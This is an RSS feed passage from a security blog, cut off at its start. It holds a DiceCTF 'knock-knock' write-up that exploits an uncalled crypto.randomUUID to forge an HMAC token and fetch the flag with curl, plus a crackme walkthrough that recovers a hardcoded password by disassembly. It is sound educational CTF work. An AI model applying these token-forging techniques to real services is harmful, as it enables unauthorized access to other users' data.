&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">update&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">id&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">toString&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">digest&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;hex&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Essentially, it creates a HMAC object with the key &lt;code>this.secret&lt;/code> and later updates the content of the HMAC with the &lt;code>id&lt;/code> and returns the hash. The initialization of &lt;code>this.secret&lt;/code> looks interesting&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-js" data-lang="js">&lt;span class="line">&lt;span class="cl">&lt;span class="kr">class&lt;/span> &lt;span class="nx">Database&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">constructor&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">this&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">notes&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">this&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">secret&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sb">`secret-&lt;/span>&lt;span class="si">${&lt;/span>&lt;span class="nx">crypto&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">randomUUID&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="sb">`&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>crypto.randomUUID()&lt;/code> function is called without the parantheses which should not work. Let&amp;rsquo;s modify &lt;code>index.js&lt;/code> to see what &lt;code>this.secret&lt;/code> contains. We &lt;em>could&lt;/em> do this in a node interpreter, but I just decided to use Docker.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-diff" data-lang="diff">&lt;span class="line">&lt;span class="cl"> createNote({ data }) {
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">++ console.log(&amp;#39;this.secret: &amp;#39;, this.secret)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">&lt;/span> const id = this.notes.length;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> this.notes.push(data);
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> return {
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> id,
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> token: this.generateToken(id),
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> };
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> }
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Build the image and run a container&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">&amp;gt;&lt;/span> docker build -t knock-knock .
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">&amp;gt;&lt;/span> docker run knock-knock
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">this.secret: secret-function randomUUID(options) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> if (options !== undefined)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> validateObject(options, &amp;#39;options&amp;#39;);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> const {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> disableEntropyCache = false,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> } = options || {};
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go"> validateBoolean(disableEntropyCache, &amp;#39;options.disableEntropyCache&amp;#39;);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go"> return disableEntropyCache ? getUnbufferedUUID() : getBufferedUUID();
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">}
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This is interesting. It looks like we just get the function definition of &lt;code>randomUUID()&lt;/code> appended to the secret key and not an actual random UUID. This means the &lt;code>this.secret&lt;/code> key is same for all the notes, including the flag at index 0!&lt;/p>
&lt;h2 id="exploitation">exploitation&lt;/h2>
&lt;p>Since the flag is the first note to be created, we can get the token of the flag by making a small change in &lt;code>index.js&lt;/code> and building and running the container.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-diff" data-lang="diff">&lt;span class="line">&lt;span class="cl"> createNote({ data }) {
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> const id = this.notes.length;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> this.notes.push(data);
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">++ console.log(this.generateToken(id));
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">&lt;/span> return {
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> id,
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> token: this.generateToken(id),
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> };
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> }
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> docker build -t knock-knock .
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> docker run knock-knock
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">listening on port 3000
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Got the token: &lt;code>7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264&lt;/code>.&lt;br>
We can now get the flag with this token and id as 0.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">&amp;gt;&lt;/span> curl -k &lt;span class="s1">&amp;#39;https://knock-knock.mc.ax/note?id=0&amp;amp;token=7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;strong>Flag&lt;/strong>: &lt;code>dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}&lt;/code>&lt;/p></description></item><item><title>BigSig - Heap Overflow Vulnerability in Mozilla NSS</title><link>https://zerodaywolf.sh/blog/cve-2021-43527/</link><pubDate>Fri, 03 Dec 2021 01:40:58 +0530</pubDate><description/></item><item><title>EZ crackme</title><link>https://zerodaywolf.sh/writeups/ez-crackme/</link><pubDate>Sun, 31 Jan 2021 02:11:24 +0530</pubDate><description>&lt;h2 id="file-inspection">file inspection&lt;/h2>
&lt;p>I started off by running &lt;code>file&lt;/code> to determine the file type. The output was as follows:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">&amp;gt;&lt;/span> file run.exe
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">run.exe: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, with debug_info, not stripped
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It&amp;rsquo;s a 32-bit ELF binary. Running &lt;code>readelf&lt;/code> on it gives us interesting information about the sections especially &lt;code>.symtab&lt;/code> (the Symbol Table):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">&amp;gt;&lt;/span> readelf -a run.exe
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Section Headers:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> [Nr] Name Type Addr Off Size ES Flg Lk Inf Al
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> [ 0] NULL 00000000 000000 000000 00 0 0 0
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> [ 1] .text PROGBITS 08049000 001000 000045 00 AX 0 0 16
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> [ 2] .data PROGBITS 0804a000 002000 00001d 00 WA 0 0 4
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> [ 3] .debug_aranges PROGBITS 00000000 00201d 000020 00 0 0 1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> [ 4] .debug_info PROGBITS 00000000 00203d 00003a 00 0 0 1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> [ 5] .debug_abbrev PROGBITS 00000000 002077 00001b 00 0 0 1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> [ 6] .debug_line PROGBITS 00000000 002092 00004a 00 0 0 1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> [ 7] .symtab SYMTAB 00000000 0020dc 000140 10 8 16 4
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> [ 8] .strtab STRTAB 00000000 00221c 000076 00 0 0 1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> [ 9] .shstrtab STRTAB 00000000 002292 00005c 00 0 0 1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">Symbol table &amp;#39;.symtab&amp;#39; contains 20 entries:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> Num: Value Size Type Bind Vis Ndx Name
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 0: 00000000 0 NOTYPE LOCAL DEFAULT UND
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 1: 08049000 0 SECTION LOCAL DEFAULT 1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 2: 0804a000 0 SECTION LOCAL DEFAULT 2
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 3: 00000000 0 SECTION LOCAL DEFAULT 3
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 4: 00000000 0 SECTION LOCAL DEFAULT 4
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 5: 00000000 0 SECTION LOCAL DEFAULT 5
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 6: 00000000 0 SECTION LOCAL DEFAULT 6
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 7: 00000000 0 FILE LOCAL DEFAULT ABS code.asm
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 8: 0804900e 0 NOTYPE LOCAL DEFAULT 1 _start.goodjob
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 9: 08049026 0 NOTYPE LOCAL DEFAULT 1 _start.wrong
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 10: 0804903c 0 NOTYPE LOCAL DEFAULT 1 _start.end
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 11: 0804a000 1 OBJECT LOCAL DEFAULT 2 password
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 12: 0804a008 1 OBJECT LOCAL DEFAULT 2 goodjobText
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 13: 0000000e 0 NOTYPE LOCAL DEFAULT ABS goodjobLen
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 14: 0804a016 1 OBJECT LOCAL DEFAULT 2 nope
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 15: 00000007 0 NOTYPE LOCAL DEFAULT ABS nopeLen
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 16: 08049000 0 NOTYPE GLOBAL DEFAULT 1 _start
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 17: 0804a01d 0 NOTYPE GLOBAL DEFAULT 2 __bss_start
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 18: 0804a01d 0 NOTYPE GLOBAL DEFAULT 2 _edata
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 19: 0804a020 0 NOTYPE GLOBAL DEFAULT 2 _end
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="disassembly">disassembly&lt;/h2>
&lt;p>Moving on to disassembling the program, I used &lt;code>objdump&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">&amp;gt;&lt;/span> objdump -M intel -d run.exe
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">run.exe: file format elf32-i386
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">Disassembly of section .text:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">08049000 &amp;lt;_start&amp;gt;:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 8049000: 5b pop ebx
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 8049001: 5b pop ebx
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 8049002: 5b pop ebx
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 8049003: a1 00 a0 04 08 mov eax,ds:0x804a000
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 8049008: 3b 03 cmp eax,DWORD PTR [ebx]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 804900a: 74 02 je 804900e &amp;lt;_start.goodjob&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 804900c: eb 18 jmp 8049026 &amp;lt;_start.wrong&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">0804900e &amp;lt;_start.goodjob&amp;gt;:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 804900e: b8 04 00 00 00 mov eax,0x4
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 8049013: bb 01 00 00 00 mov ebx,0x1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 8049018: b9 08 a0 04 08 mov ecx,0x804a008
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 804901d: ba 0e 00 00 00 mov edx,0xe
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 8049022: cd 80 int 0x80
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 8049024: eb 16 jmp 804903c &amp;lt;_start.end&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">08049026 &amp;lt;_start.wrong&amp;gt;:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 8049026: b8 04 00 00 00 mov eax,0x4
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 804902b: bb 01 00 00 00 mov ebx,0x1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 8049030: b9 16 a0 04 08 mov ecx,0x804a016
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 8049035: ba 07 00 00 00 mov edx,0x7
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 804903a: cd 80 int 0x80
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">0804903c &amp;lt;_start.end&amp;gt;:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 804903c: b8 01 00 00 00 mov eax,0x1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 8049041: 31 db xor ebx,ebx
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> 8049043: cd 80 int 0x80
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It&amp;rsquo;s a simple program which starts off by comparing an initialized variable in the data segment (ds) with an argument. Based on the result of the &lt;code>cmp&lt;/code> (compare) operation, it executes the &lt;code>write&lt;/code> syscall to write a message to &lt;code>stdout&lt;/code> (file descriptor 1). So now, the C program would look something like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">arg&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="mh">0x804a000&lt;/span>&lt;span class="p">){&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="mh">0x804a008&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xe&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">else&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="mh">0x804a016&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x7&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The Linux Man page for the &lt;a href="https://man7.org/linux/man-pages/man2/write.2.html">write&lt;/a> syscall explains each argument. But it&amp;rsquo;s still pretty self explanatory.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="nf">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">fd&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">const&lt;/span> &lt;span class="kt">void&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">size_t&lt;/span> &lt;span class="n">count&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="exploitation">exploitation&lt;/h2>
&lt;p>We now know where to look for our secret string. Firing up &lt;code>radare2&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">&amp;gt;&lt;/span> r2 run.exe
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">[0x08049000]&amp;gt; s 0x804a000
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">[0x0804a000]&amp;gt; px
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">0x0804a000 5034 3535 7730 7264 596f 7520 476f 7420 P455w0rdYou Got
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">0x0804a010 5468 6973 210a 5772 6f6e 6721 0aff ffff This!.Wrong!....
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">0x0804a020 ffff ffff ffff ffff ffff ffff ffff ffff ................
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">0x0804a030 ffff ffff ffff ffff ffff ffff ffff ffff ................
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">0x0804a040 ffff ffff ffff ffff ffff ffff ffff ffff ................
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">0x0804a050 ffff ffff ffff ffff ffff ffff ffff ffff ................
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">0x0804a060 ffff ffff ffff ffff ffff ffff ffff ffff ................
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">0x0804a070 ffff ffff ffff ffff ffff ffff ffff ffff ................
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">0x0804a080 ffff ffff ffff ffff ffff ffff ffff ffff ................
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">0x0804a090 ffff ffff ffff ffff ffff ffff ffff ffff ................
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">0x0804a0a0 ffff ffff ffff ffff ffff ffff ffff ffff ................
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">0x0804a0b0 ffff ffff ffff ffff ffff ffff ffff ffff ................
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">0x0804a0c0 ffff ffff ffff ffff ffff ffff ffff ffff ................
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">0x0804a0d0 ffff ffff ffff ffff ffff ffff ffff ffff ................
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">0x0804a0e0 ffff ffff ffff ffff ffff ffff ffff ffff ................
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">0x0804a0f0 ffff ffff ffff ffff ffff ffff ffff ffff ................
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Looks like we found our key! &lt;code>P455w0rd&lt;/code>. Running the binary with &lt;code>P455w0rd&lt;/code> as an argument:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">&amp;gt;&lt;/span> ./run.exe P455w0rd
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">You Got This!
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>However, the compare instruction is done with a DWORD, i.e 4 bytes. So the key is &lt;code>P455&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">&amp;gt;&lt;/span> ./run.exe P455
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">You Got This!
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item></channel></rss>